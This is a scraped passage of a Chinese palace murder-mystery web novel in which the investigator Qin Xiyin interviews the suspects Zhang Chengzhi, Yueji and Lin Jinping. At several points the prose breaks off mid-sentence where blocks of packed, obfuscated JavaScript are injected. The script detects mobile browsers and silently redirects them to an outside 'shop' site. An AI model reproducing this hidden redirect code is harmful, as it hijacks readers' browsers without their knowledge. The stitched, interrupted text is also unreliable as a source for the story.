“荀白鹤虽然会喝,但不太喜欢喝。平时有酒局的话他基本都是推掉的,只有他老师徐绍画师找他喝酒,他每次都会喝一些。他自己是不会储存酒和酒具的。” “他遇害的那晚,跟谁喝过酒?” “这就不知道了,我好像没见他喝酒过。难道他喝过?” “验尸的太医说,他当晚喝过酒。” “那就不知道了。那天晚上,我和另一个小太监很早就睡了。我们睡觉的时候,荀画师好像还在画室里作画呢。” “那天晚上是张诚志画师和他在一起?他们有发生争执吗?” “好像没有吧……张画师平时都很少跟荀画师说话的,他们两人单独相处时,也是各画各的。那天晚上我醒着的时候,是没听见什么争执声的。我睡觉之后,就不好说了。不过我觉浅,如果他们闹出太大动静,我可能会惊醒的。 但那天晚上我并没有被惊醒。” 秦惜音点头道:“明白了,多谢这位小哥。对了,张诚志以前有请荀画师喝过酒吗?” “啊?这是不可能的。张画师一向不喜欢荀画师,不可能请他喝酒。反正我没见过。” “那么,荀画师遇害的那天晚上,张画师是睡在宿舍呢,还是回家去了?” “应该是睡在宿舍。他就在隔壁房间,姑娘要不要现在过去问问?” 秦惜音点头:“也好。你帮忙带路吧,如果一会张诚志说的话有什么不对,你也能帮忙指出。” “是,多谢姑娘信任。” 秦惜音给了这小太监一些银两,小太监欢天喜地的。 过了一会,就到了张诚志的宿舍。 秦惜音走进去,看见一个身材较胖、胡子拉碴、面相有些不耐烦的年轻男人。 他应该就是张诚志了。 秦惜音说明来历,张诚志好像抓住了救命稻草,赶紧起身,说道:“荀白鹤不是我杀的,快把我放出去!我被关在这里十天,都快疯了!” 秦惜音道:“张画师,你放心,如果人真的不是你杀的,你肯定能恢复自由的。” 张诚志有些焦急地说:“我都不知道该怎么办了!我以为这件事不会再有人管了!他们说这个案子应该交由瑾妃娘娘来查,可是瑾妃娘娘只是把两个嫌疑人给保护起来了,对这案子不闻不问的,我还以为我会老死在这里……” “你先别激动,太后娘娘很关心这桩案子,所以派我来查案。我会尽快查清真相的。” “姑娘,你去问月季或者林女官吧,真凶一定是她们中的一个!” “哦,何以见得?” “因为人不是我杀的,所以真凶一定是她们中的一个!” 秦惜音有点想笑,但忍住了,说道:“张画师,如果你说人不是你杀的,你要先证明自己。” “这……这我要如何证明?荀白鹤身上的匕首是月季的,月季会武功,人很可能是她杀的……当然,也有可能是林女官偷走了月季的匕首,杀了人,嫁祸给月季…… 我是清白的,我只是希望荀白鹤离开,我没想过让他死……” “十天前的晚上,是你最后一个见到荀白鹤的?” “不是啊,最后一个见到荀白鹤的,肯定是真凶本人!” 不得不说,张诚志还挺有逻辑的,但他还是没说出关键信息。 秦惜音继续说道:“那你能不能证明,你不是最后一个见到死者的?” “这……这根本没法证明啊……那天晚上,我确实和他一起留在画室里,后来我走了,他还在继续画画。再之后发生了什么,我就不知道了。他后面又见过什么人,我怎么会清楚?” “你离开画室后,直接回宿舍睡觉了?” “是的。” “那之后没有再外出?” “没有。” “可有人能证明你没外出?以及证明你回来的时辰确实是戌时七刻左右?” “没有……我回宿舍时,宿舍空无一人,我直接睡觉了。所以,没有目击者。” 秦惜音又转头看向那小太监。 小太监道:“那天晚上,我们睡得比较早,也没有见到张画师回来的时辰。至于他回来后有没有继续出门,我们也不清楚。” 秦惜音又召集所有画师,询问他们几个问题: 第一,荀白鹤遇害当晚,有没有人见到张诚志回宿舍?回宿舍的时辰是什么时候? 第二,张诚志回宿舍后,有没有继续外出? 第三,荀白鹤在深夜是否见了什么人?有没有谁带着酒去找他? 然而,这些问题,其他画师们都一问三不知。 荀白鹤遇害当晚,大部分画师都早早离开了,回自己家了。 即便有几个人留宿在宿舍,也睡着了,没发现什么。 秦惜音又检查了张诚志的床铺、衣柜、杂物箱,没发现什么特别的,只看见了几个酒杯,还有两瓶酒。 秦惜音问张诚志:“那天晚上,你真的没有把荀白鹤灌醉,趁机杀了他?” 张诚志一脸冤屈的表情:“我没有啊,我才不会给荀白鹤喝酒。这些酒都是佳酿,花了我不少银两。再说了,就算我要逼他喝酒,他也不会同意啊。我跟他都是成年男子,我根本没有能力单方面灌他酒。 如果我灌他酒了,肯定会用力抓住他。他的尸体上又没有被抓伤的痕迹,不信您可以再去验尸。 而且,就算我把他灌醉了,我也没有月季的匕首啊。 我喜欢喝酒,很多同僚都知道的。我在柜子里放酒,也很正常。” 张诚志的辩驳,倒是每一条都说到了点子上。 秦惜音记得,死者的身上确实没有其他伤痕、抓痕之类的,唯一的伤口就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751535|190012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是心口处的致命伤。 以防万一,秦惜音把其他人的床铺、柜子全都看了一遍,也没什么疑点。 只有画师徐绍的柜子里有几瓶酒和不同材质的酒杯。 徐绍喜欢喝酒,秦惜音刚才就知道了。 这里收获不大,看来得去瑾妃的比翼宫走一趟了。 秦惜音一路小跑,来到比翼宫。 涉案的宫女月季和女官林锦屏都在比翼宫里。 但是,秦惜音在宫门口就被人拦下了。 有两个身材粗壮的太监语气不善地说道:“比翼宫是瑾妃娘娘的住所,闲杂人等不得入内。” 秦惜音拿出了太后给的玉牌:“我是奉太后娘娘的命令,调查画师荀白鹤死亡一案的。宫女月季和女官林锦屏都有嫌疑,她们两人现在都在比翼宫内。所以,我必须进去。” “你要调查命案,去验尸就是了。这个案子跟比翼宫的人没有关系,你不能进去。” “大胆,太后娘娘特许我在宫中任意行走,你们难道连太后娘娘都不放在眼里?要不要我现在去回禀太后娘娘,说是比翼宫的太监胆大包天,阻挠本姑娘查案? 如果事情闹大了,瑾妃娘娘为了给太后娘娘一个交代,一定会找人背黑锅。不知道这口黑锅,会落在谁的头上呢?” 两位太监对视一眼,都察觉到事情的严重性。 太后毕竟是太后,瑾妃也不可能公然跟太后撕破脸。 神仙打架,小鬼遭殃,他们两个可不想当替死鬼。 因此,他们就让秦惜音进去了。 秦惜音道:“比翼宫这么大,我怎么知道月季和林女官被关在哪里?要是不搞清楚这件事,我就不进去了。” 两个太监赶紧偷偷给秦惜音指明方向,并小声说道:“姑娘,千万别跟人说是我们俩指路的。” 秦惜音道:“放心吧。” 接着,她就走了进去。 据两个太监所说,月季和林女官在是不同的房间。瑾妃知道她们两个有矛盾,关在一起肯定会生事,才分开关押。 秦惜音先来到了月季的房门口,还没进去,就听见身后传来一道既娇媚、又夹杂着几分威胁的声音:“现在的宫女都这么不懂规矩了,可以在本宫这里横冲直撞的?” 秦惜音知道是瑾妃来了,赶紧回头下跪,说道:“奴婢惜音,给瑾妃娘娘请安。奴婢奉太后娘娘的命令,调查画师荀白鹤被杀一案,现在要询问嫌疑人月季和林女官。事出紧急,奴婢才没有第一时间去拜见娘娘,请娘娘恕罪。” 瑾妃长得玲珑精致,身材娇小,虽然二十多岁了,但看着犹如十六七岁的少女。虽然她如今执掌凤印,还是喜欢穿清新淡雅的衣服,画着淡妆,整体看起来温婉娇俏,没什么压迫感。 但秦惜音知道,瑾妃在皇上面前是这副模样,但面对下人时,又会换一张面孔。 此刻,瑾妃娇美的面庞上染了一层寒霜,眼神也十分凌厉:“我当是谁呢,原来是落难的相府千金,难怪这般大胆。不过,宫有宫规,本宫执掌凤印,凡有犯禁者,绝不能轻饶。你未经允许便闯宫,闯宫之后还敢不来拜见本宫,数罪并罚,打四十大板。” 9. 特别的人 秦惜音吓了一跳,随即沉下心来,解释道:“奴婢奉太后娘娘的旨意调查命案,太后特许奴婢,无论去哪里、审问什么人,都是可以的。奴婢虽然未曾取得瑾妃娘娘的许可,但已经取得太后娘娘的许可,不算犯禁。 瑾妃娘娘一向孝顺,为六宫的典范。对于太后的命令,您一定没有异议。至于奴婢未曾第一时间拜见您,确实是奴婢不对。奴婢愿抄经百卷,为瑾妃娘娘祈福,祈祷您早得贵子,宠冠六宫,福寿绵长。” 瑾妃面色稍霁:“你倒挺会说话,起来吧。本宫允许你问话,但记住,不许逼供、诱供,不许为了向太后交差,就胡乱给什么人定罪。否则,本宫决不轻饶。” “是,奴婢谨记。” 瑾妃离开了,秦惜音也走进了月季的房间。 月季正坐在榻上,无聊地转着一把刀。 她长得浓眉大眼,五官略为粗犷,有点偏男相。虽然不算特别美,但有一种英姿飒爽的气势。 她穿着一身窄袖收腰的衣服,裙子也只到膝盖处,露出黑色的裤子。这样的装束,倒挺方便随时打架的。 见秦惜音进来,她也没有抬头,只是说道:“太后为什么要插手这个案子?是不是想把我说成是凶手,借机说瑾妃娘娘御下不严,夺了她的权?” 秦惜音道:“月季姐姐,你想复杂了……” 月季忽然抬头,有些不悦地盯着秦惜音:“谁是你姐姐?各为其主,大家都把话挑明了说就好。我最讨厌你这种明着套近乎、暗地里套话的说话方式。” 这月季还真是个直脾气,而且说话一点也不留情面。 秦惜音只得说道:“您比我年长,又在宫中多年,那我尊称您一声姑姑吧。月季姑姑,太后娘娘只是看荀画师被杀一案迟迟没有进展,所以才让奴婢介入调查,并没有借机为难瑾妃娘娘的意思。” 月季冷笑:“哼,你当然这么说。” “那如果我替您洗刷冤屈呢?” 月季睁大了眼睛,不可置信地看着秦惜音:“你说什么?” “我的意思是,如果您真的是无辜的,我替您洗刷了冤屈,也免了外界对瑾妃娘娘一些不好的猜测。这样,反而是对瑾妃娘娘、对您都有利的结果。那您应该相信我和太后娘娘都没有恶意了吧?” “你真的能为我洗刷冤屈?” “只要您是清白的,我一定还您清白。反之,我也一定会将您绳之以法。” “哼,说得正义凛然,不知道你想怎么做?如果你要把我抓到慎刑司去用刑,我是不可能说出你先想要的答案的。” “姑姑误会了,我没有什么想要的答案,我想要的只有真相。我有几个问题请教姑姑。第一个问题,您的匕首真的丢了吗?什么时候丢的?您知不知道被何人捡去了?” “匕首当然丢了,我难道还拿着自己的匕首去杀人不成?就算我用自己的匕首杀人,为什么不把匕首拔出来,还要留在现场?至于被谁捡到了,我如果知道,那就不叫丢了。” 月季说的也有道理。 秦惜音继续问道:“那么,匕首是在什么时候丢的?” “大概十几天前吧。” “具体是哪一天?” “应该是荀白鹤死的前两天。但那天我去过很多地方,不知道把匕首丢在哪里了。后来我去找过,但都没有找到。” “具体去过哪些地方?” “尚食局,比翼宫的后花园,荀白鹤的画室,还去好几个妃嫔的宫里传话。那天还轮到我检查小宫女们的卫生,我去过比翼宫所有小宫女的房间。还去了桃林给瑾妃娘娘摘桃子。” 秦惜音拿来纸笔,一一记下。 月季去过这么多地方,要查清匕首丢在哪里,还真不是件容易的事。 秦惜音接着问道:“第二个问题,您之前是否说过,宁可把荀白鹤毁掉,也不会让给林女官?” 月季倒是坦荡地承认:“我说过这话,是在一次跟林锦屏争吵时的激愤之言,但还没来得及付诸行动。” 听月季这么说,秦惜音很惊讶。 因为一般人会辩解说,自己虽然说过这种话,但心里并不想杀人。 没想到月季说的却是,她还没来得及付诸行动。 虽然这句话也算是为自己辩解,但旁人不会这样说的,这会显得自己有杀.人倾向。 月季还真是有什么说什么,秦惜音对她的观感大为不同,说不清是佩服还是惊讶,还是别的情绪。 月季看见秦惜音的表情,说道:“我知道你心里肯定很震惊,但我这人不喜欢弯弯绕绕地说话。如果我杀了人,我会直接告诉你。我心里产生过毁掉荀白鹤的想法,我也会直接说出来。 同样的,我说还没付诸行动,那就是还没付诸行动,不会说谎。” 秦惜音从直觉上相信月季不会说谎,但还是要讲证据。 因此,秦惜音接着问道:“您不是喜欢荀画师吗?怎么会想过毁了他?” “没错,我喜欢荀白鹤,但我更讨厌林锦屏。如果真的让林锦屏得到荀白鹤,我宁可杀了他,这就是我的想法。” “您可以这样直呼林女官的名字吗?” “从宫规上来说不可以,但我就在背后这么叫了。我想你也不会说出去,就算说出去,你也没证据。当着她的面,我当然会称呼她一声女官大人。” 月季坦诚得让人有点想笑,但秦惜音又觉得这会不是笑的时候,就忍住了。 秦惜音道:“还有一个问题:在荀白鹤遇害的那天晚上,您不在自己的房间。您去了哪里?” “我说了你也不会信。” “您不妨先说说看。” “那天是月圆之夜,我去了一座无人的宫殿赏月。” 秦惜音惊讶:“什么?” “我就说了,你不会相信。” 秦惜音确实本能地不信,甚至觉得月季太嚣张了,编理由也不编个像样点的。 但是,从刚才对月季的了解,秦惜音又不觉得月季会信口开河。 秦惜音露出了困惑的神情:“您是不是每逢十五都会找个地方赏月?如果您有这个习惯,您身边的人应该可以证明,这可以作为您无辜的佐证。” “我没有这个习惯。那天我只是突然看见月亮圆了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751536|190012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,想找个地方赏月,仅此而已。” “可是……这……我可以选择相信您,但问题是,别人信不信?” “别人信不信不重要,总之这就是真相。如果因为证据不足,最后还是把我定为凶手,我也无话可说。” “那么,您在赏月的时候,有没有人看见?” “都说了是无人的宫殿,怎么会有人看见?” “那您去那座宫殿的路上呢?有人看见吗?” “没有。” “那座宫殿在哪里?” “在比翼宫西侧,距离比翼宫八里左右的月盈殿。” “您为什么要单独去哪里?在比翼宫不能赏月吗?” “比翼宫人太多,我就是想找个清净的地方赏月。” “没有证据的话,我只能先把您的话记录下来,再慢慢查证……” “这件事查证不了,因为没有任何目击者,你不用在这上面费心思了。你可以去查查张诚志或者林锦屏有没有嫌疑。如果确定她们其中一人是凶手,那我自然就不是凶手了。” 虽然秦惜音对月季这种直接指挥式的说话风格有所不满,但抛开语气,月季说的话很有逻辑。 月季说自己一个人去无人的宫殿赏月,那确实没法证明真伪,在这个细节上浪费时间是没必要的。 最重要的是查清其他嫌疑人有没有杀人。 秦惜音正准备离开,忽然转身问道:“月季姑姑,恕我再问一句:为什么您会突然想要赏月?” “很奇怪吗?你是不是觉得像我这样的人,不应该赏月?” “不,我没有这个意思……” “赏月确实是文人雅士、王公贵族们喜欢的事,但不代表平民百姓或是宫女就不能赏月了,对我这种女暗卫来说也是一样。我一生的大部分时间,都在为别人活着。进宫以后,我也是尽心尽力地服侍瑾妃娘娘。 那天晚上,我忙完了瑾妃娘娘交代的任务,忽然发现月亮变圆了,很好看。我想起自己已经很久没有好好看过月亮了,也很久没有属于自己的时间了,所以想找个安静的地方自己赏月。这确实是临时起意,我也没有跟别人说过。 没想到,那天晚上,我在赏月,荀白鹤却被人杀了,用的还是我丢的那把匕首。” 秦惜音沉默了一会,认真地对月季说道:“我明白了,月季姑姑,我会尽力还您清白的。还有,我想说,任何人,在任何时候,都可以赏月。月亮对每个人都是平等的。” 月季的眼神中流露出复杂的情绪:“你相信我?” “我现在不能给出明确的答复,因为关于命案,我给出的一切结论都要从证据出发。但是,从情感上来说,我愿意相信您。” 秦惜音走了出去,忽然听见月季说了声:“谢谢。” 秦惜音回头,却发现月季已经把门关上了。 接着,秦惜音来到了女官林锦屏的房间。 林锦屏本来应该住在尚宫局那边,但自从她牵扯进命案后,瑾妃就把她带到自己宫里住着了。 秦惜音敲了敲门,一个端庄大方、姿容出众的蓝衣女子打开了门。 10. 裙上血迹 眼前的蓝衣女子穿着湖蓝色的长褙子,里面是浅杏色的上衣,配一条缥色的裙子;脖子上戴着祥云纹的檀木项链,腰间系着红色宫绦。 这是六品女官的服饰,她应该就是林锦屏了。 她长得娇小,但由于举动大方,仪表不俗,很容易让人忽略她的身高。光看她的脸,会让人误以为她很高。 秦惜音打量了她一番,觉得如果是林锦屏当面杀死了荀白鹤,那柄匕首确实应该是朝上的,因为林锦屏比荀白鹤矮了许多。 秦惜音自我介绍了一番,林锦屏赶紧拉着她的手进了屋,边走边笑着说道:“原来您是太后身边的人,有失远迎。我无端卷入杀人案中,日夜悬心,希望有人查明真相,还荀白鹤一个公道。您既然是太后娘娘派来的人,想必聪慧过人,肯定能很快找到凶手。” 秦惜音赶紧说道:“林女官过誉了。要查清真相,还需要大家共同配合才是。” 林锦屏拉着秦惜音坐下,亲自给她倒茶,说道:“这是自然,姐姐有什么想问的,我知无不言。” 秦惜音站起身来,谦逊地说道:“林女官不用客气,我是奴婢,站着就行了,也不必劳烦您给我倒茶。您直接叫我惜音就行,‘姐姐’这称呼,奴婢当不起。” 林锦屏笑道:“好吧,那我就不跟你客气了。惜音妹子,不知道荀白鹤的案子你查得怎么样了?” “缺少一些有力的证据。我已经先跟张诚志和月季谈过,但她们都不能完全洗刷嫌疑。林女官,听闻荀白鹤死的那天晚上,您也不在自己的房间,您去了哪里?” “我担任尚仪局的司乐一职,需要经常创作新乐曲。我经常会在夜深人静的时候出去,听听草木间的各种声音,寻找创作的灵感。那天晚上,我也是出门闲逛了。我去的地方是无人居住的芳菲殿,那里有很多树木、鸟类和虫类,我在那儿待了一个时辰左右,才回到住所。” 秦惜音沉思:“又是无人的宫殿……这么说,也无人能为您作证了?” “如果是那天晚上的话,确实无人能作证。但是,我平时有大半夜出门的习惯,你问问跟我同住的宫女太监们就知道了。我也想不到,那天荀白鹤会死。 而且,我有两个有力的理由自证清白。其一,我没有月季的匕首。其二,我只是个文弱女子,根本没有能力当面杀死荀白鹤。从小到大,我连鸡都没杀过。 如果要杀人,且一击即中,还是受过训练的人比较容易做到。” 秦惜音问道:“您指的受过训练的人,是月季?” “不,我并不是这个意思。月季当然有可能,也有可能是其他训练有素的杀手。” “我问过图画院的人,他们说荀白鹤没有跟什么人结过仇,最多就是跟某几个同僚有点矛盾而已。应该没人会买凶杀他。” “这样吗?那其他不知名凶手的嫌疑就少了。” 林锦屏没有直接说月季是凶手,但字字句句都在往这方面引导。 秦惜音接着问道:“对了,听跟您同住的小宫女说,您那天晚上回来时,裙子上有血?” 林锦屏惊讶道:“血?应该没有吧……是谁说的?” “这个您就不用深究了,总之那个小宫女说,自己亲眼看见,确有其事。” “奇怪了,那小宫女是什么时候说的?十天前的晚上,我回到房间时,并没有人醒来,也没有人告诉我,我的裙子沾了血。” “那小宫女确实不是十天前的晚上说的,而是等命案过了几天之后,才偷偷说出来的。” 林锦屏皱眉道:“岂有此理,竟然敢信口雌黄……” “林女官,您当天穿的裙子在哪里?” “我每次晚上外出后回来,都会换一身衣服。换下来的衣服先塞在床底下,有空拿去浣衣局洗。但是第二天,就出了荀白鹤的案子,我被怀疑是嫌疑人,所以尚宫门就把我关在房间里,不许我出去。 后来瑾妃娘娘来了,说是要把我带走,尚宫们不敢阻拦,我就跟瑾妃娘娘来这里了。 那天晚上穿过的裙子……如果不出意外的话,可能还在我的床底下。” “那奴婢先去找找看。” “嗯。总之我没杀人,我那天晚上都没见过荀白鹤。” 秦惜音来到尚宫局,找到林锦屏的屋子。 林锦屏是女官,有一间单独的大屋子。正中央摆着一张精致的拔步床,就是林锦屏的床了。 两侧各有几张简易的木床,比中间的床窄小很多,这是小宫女们睡的床。 小宫女们既要跟着林锦屏学习,也要照顾林锦屏,所以跟她同住方便些。 自从林锦屏染上杀人的嫌疑,这间屋子就空了出来,里面的小宫女也暂时搬到了别处。 秦惜音看了看那张大床的床底下,却没有发现什么衣裙。 她又翻遍了床上的被褥,连边边角角的地方都看过,也没看见。 于是,秦惜音只能把整间屋子能藏东西的地方都翻遍了,连小宫女们的箱子都找了一遍,可还是一无所获。 秦惜音走出门去,询问外面的小宫女:“你们谁是跟林女官同住的?” 小宫女们说道:“跟林女官同住的人不在这儿,她们应该去了琴房学琴,我去把她们几个找来。” 过了一会,跟林锦屏同住的四个小宫女都过来了。 秦惜音把她们拉进房中,关上门,问道:“荀画师遇害的那天晚上,你们谁看见林女官的裙子上有血?” 一个叫小橘的宫女说道:“是我看见的。那天晚上,大概亥时时分,林姑姑出了房门,一个多时辰才回来。我本来睡着了,但被开门声惊醒。 那时候,林姑姑拿了一根蜡烛照明,所以我发现她的裙子上有血迹。但我当时没有声张,一方面是太困了,一方面是不敢问林姑姑,于是我接着睡了。 结果第二天,我听说图画院的一位画师死了,死的时间刚好跟林姑姑出门的时间对上了。再联想到她裙子上的血迹,我有点害怕,怕是林姑姑杀的人。 连着好几天,我不敢说什么。但我后来觉得,既然我发现了线索,还是应该告诉别人,不能让那个画师死 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751537|190012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得不明不白。 我知道现在是瑾妃娘娘掌管后宫,但我不敢直接跟瑾妃娘娘说,就偷偷告诉了其他的宫女太监,然后大家口口相传,就把这事给传了出去。” 秦惜音问:“你是在案发后第几天说出去的?” “可能是第四天。” “林女官换下来的衣服怎么没了?” “我不知道啊……那天晚上,我看见林姑姑把自己的衣服脱下来,塞进了床底下,然后换上了睡衣。再之后,我就没注意了。” “是不是送到浣衣局洗了?” “应该没有。那桩命案一爆发,林姑姑就被认为是嫌疑人,尚宫们把她关在房间里,不许她出去。没过多久,瑾妃娘娘过来,把她给带走了。 但是,林姑姑虽然走了,这间屋子还封着,不许人进去。我们这些天也没有进去过。所以,按理说,林姑姑那天换下来的衣服,应该还在房间里。” 秦惜音:“我已经找过好几遍,确实没有了。要不你们帮我找找?我给你们吃好吃的。” “好的,惜音姐姐。” 几个小宫女一起找,可她们也没找到。 秦惜音问道:“这些天真的没人进过这间屋子?” “应该是没有,但我们也没有时时刻刻盯着。” “明白了。” 秦惜音决定去找瑾妃问问,让瑾妃来查,也许能更快查出林女官的衣服去哪里了。 于是,秦惜音回到了比翼宫,求见瑾妃,说明情况。 瑾妃淡淡一笑:“你说林女官那天穿的衣服?在本宫这里。来人,把那套衣服拿上来。” 秦惜音很惊讶。 过了一会,一个宫女捧着一个托盘,托盘上放着一套衣裙。 秦惜音拿起这套衣服一看,却发现干干净净,还有一股皂香,可能是刚洗过不久。总之上面没有任何血迹、污渍之类的。 秦惜音问道:“娘娘,这套衣服……是洗了吗?” 瑾妃道:“没错。林女官在我这儿,总不能没衣服换。所以,我把她的脏衣服拿回来,让人洗了,晒干,这样她也能替换着穿。” “可是……” 面对瑾妃这种公然销毁证据的行为,秦惜音也不知道该说什么。 既然衣服已经洗干净了,无论如何都无法复原了。如果自己语气差了些,肯定会得罪瑾妃。 因此,秦惜音尽量用谦卑的口吻问道:“瑾妃娘娘,请问这套衣服在洗之前,有血迹吗?” 瑾妃毫不犹豫地说道:“没有。” 秦惜音猜到是这个答案,她心里很失落,同时又很愤怒,但不能表现出来。 她只能告退,想再去找林女官聊聊。 谁知,瑾妃叫住了她,说道:“如果你要去找林女官,就把这套干净的衣服带回去给她吧。” “是。” 秦惜音捧着这套干净的衣服,重新回到了林女官的房间。 这时,林锦屏却迎了上来,对秦惜音道:“我想起来了,那天我的裙子上应该是有血迹的。” 11. 绵里藏针 秦惜音很震惊,没想到林锦屏会这么说。 接着,林锦屏说道:“我记得那天晚上,蚊虫比较多,我腿上被咬了好几个包。我就无意识地挠了挠,后来发现挠破了,流血了,我就不挠了。没过多久,我就回去了。我当时没注意,但可能我的血流到了裙子上。” 秦惜音问道:“是因为被蚊虫叮咬,才流的血?” “没错。平时挠一下没事,但有时候劲使大了,挠破之后,会流鲜血,自己还不会第一时间发现。我想,惜音妹子也会有这种情况吧?总之,如果那天我的裙子上有血,应该就是这么回事。” 林锦屏的解释,倒也说得过去,但有点太巧合了。 但是,如果她心里真的有鬼,完全可以说裙子上没血,反正裙子已经被洗干净了。 秦惜音把那套干净的衣裙拿过来,对林锦屏道:“林女官,这是您那天穿的衣服,瑾妃娘娘已经让人帮您洗干净了,还说裙子上本来就没血。” 林锦屏惊讶了一瞬,随即说道:“瑾妃娘娘可能是没注意,或是有意替我周全。但本官可以实话告诉你,这条裙子上很可能有血,但那是我自己身上的血,跟命案没关系。 你想想,假如我真的杀了荀白鹤,血应该溅在我的上半身多一些,而不是裙子下摆。如果我把上衣的血迹清洗完毕再回去,在烛光下,也应该能看到我的上衣是湿的。可是,那个小宫女并未提及上衣的事,只说我的下裙有血。 由此可见,我裙子上的血并非杀人所溅上去的。 而且,一个人如果犯了命案,绝不可能像我这样平静。你可以观察我的神色,查问一下我近期的饮食,就会发现我每天都吃得好、睡得好,心情还可以。” 秦惜音观察林女官的气色,觉得她神色平静,脸颊红润,表情也正常。从外表看,确实不像是杀人犯。 秦惜音借故离开,去找了瑾妃宫中专门负责伺候林锦屏的宫女,询问林锦屏这几天吃些什么,行为是否正常。 宫女所提及的林锦屏的饮食,都跟正常人一样,并没有突然多吃或是突然少吃。除了命案刚发生那几天有些失眠外,其余时候睡得都还好。 如果这个宫女说的是真的,那林锦屏的嫌疑确实不大。 林锦屏为自己辩驳的那些理由,也全都很充分。 现在虽然入秋了,但蚊虫还是很猖獗,秦惜音自己也被咬过很多次。有时候越挠越痒,不小心抠破了蚊子包,也确实会流血。 因此,秦惜音一时搞不清究竟谁才是真凶。 这三个嫌疑人,谁都没有有力的证据证明自己无辜。 假如月季的匕首不是丢了,而是一直在她身上呢?她杀了人,故意留下自己的匕首在现场,反倒留下了辩解的空间——没有人会蠢到留下这种把柄,所以人肯定不是她杀的。 假如月季的匕首是被林女官偷走了,林女官杀人嫁祸月季呢? 但是这会产生两个问题:其一,林女官有没有能力偷走月季的匕首?先不说月季武功很高,光是她们两人这剑拔弩张的关系,林女官就不可能近月季的身。 其二,林女官只是个弱女子,就算有匕首,又怎么杀死荀白鹤? 那么,杀人的是张诚志?他确实跟死者一起留在画室里很长时间,有时间作案。 但是,他比死者高,如果用匕首刺入死者的心口,匕首的刀尖应该是略微朝下的。 而且,张诚志那焦急又无辜的神情,不像作假…… 秦惜音决定去月季和林女官提及的那两个宫殿看看。 月季自称那天晚上去了月盈殿赏月,秦惜音来到月盈殿,推开门,发现这里杂草丛生,爬山虎长满了各个屋子的墙壁,青苔都长到屋子里面去了。还有一些小动物在草丛中蹿来蹿去。 看来,这宫殿确实很久没人住了。 秦惜音观察了一会,发现一堵墙壁上有半个脚印。看脚印的大小,应该是女人的。 这堵墙离大殿的屋顶比较近,秦惜音推测,那天晚上,月季应该是先踩中这堵墙,然后借着反弹的力道,上了屋顶赏月。 屋顶上确实有两片砖有被踩过的痕迹,上面的苔藓明显比旁边的砖要浅一些。 秦惜音把脚印原样描下来,打算去跟月季的鞋子比对一下。 接着,秦惜音去了芳菲殿,林女官自称在这里听草虫的鸣叫,寻找创作的灵感。 这里的杂草比月盈殿更茂盛,看起来也更脏一些。 秦惜音刚走进去没多久,就被蚊子咬了好几口。这些蚊子都很毒,她的手上、脚上都起了大包。 她只能用手心搓一下,缓解又疼又痒的感觉。 过了一会,她突然发现,西侧殿墙边的几株小草上有干涸的血迹。 虽然这些天下过雨,但这几株小草长在屋檐里面,宽阔的屋檐能为它们遮风挡雨,所以它们身上的血迹才没有被雨水冲掉。 如果这些血是林女官的血,那她说的应该是实话。她在这里被蚊虫叮咬,无意间挠破了皮肤,流了血。 秦惜音决定回去问问林女官,她流血的地方究竟在哪里。 秦惜音回到比翼宫,正想去找月季和林女官,却先碰见了瑾妃。瑾妃正在修剪花枝,头也不抬。 秦惜音行礼之后,瑾妃直接问道:“查得如何了?” “回娘娘,还没确定真凶是谁,但已经有了一些线索。” “本宫也有一些见解。” “娘娘请说。” “真凶是张诚志,或是其他画师。总之绝不能是月季或是林女官。” “娘娘您这样说,有什么依据吗?” “本宫只不过是随口一说,你若能听进去,自然知道该怎么做。” “娘娘,恕奴婢直言,月季和林女官可能本来就是无辜的,您不必插手,否则可能弄巧成拙。” “你在教本宫做事?” “奴婢不敢。” “本宫这么说,自然也有依据。月季和林女官都喜欢荀白鹤,她们怎么可能杀死自己喜欢的人?更何况,她们跟着本宫,前途无量,为什么要给自己弄个命案,断了自己的前程?这宫里,许多人都看本宫不爽,想给本宫找点麻烦。 从本宫身边的人下手,再容易不过。月季和林女官都非完人,但本宫可以担保,她们俩绝不会杀人。 月季的匕首是怎么丢的?被谁捡走了?深究下去,说不定能挖出其他宫的牛鬼蛇神。本宫认为,你应该从匕首这个线索去查,说不定能查 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 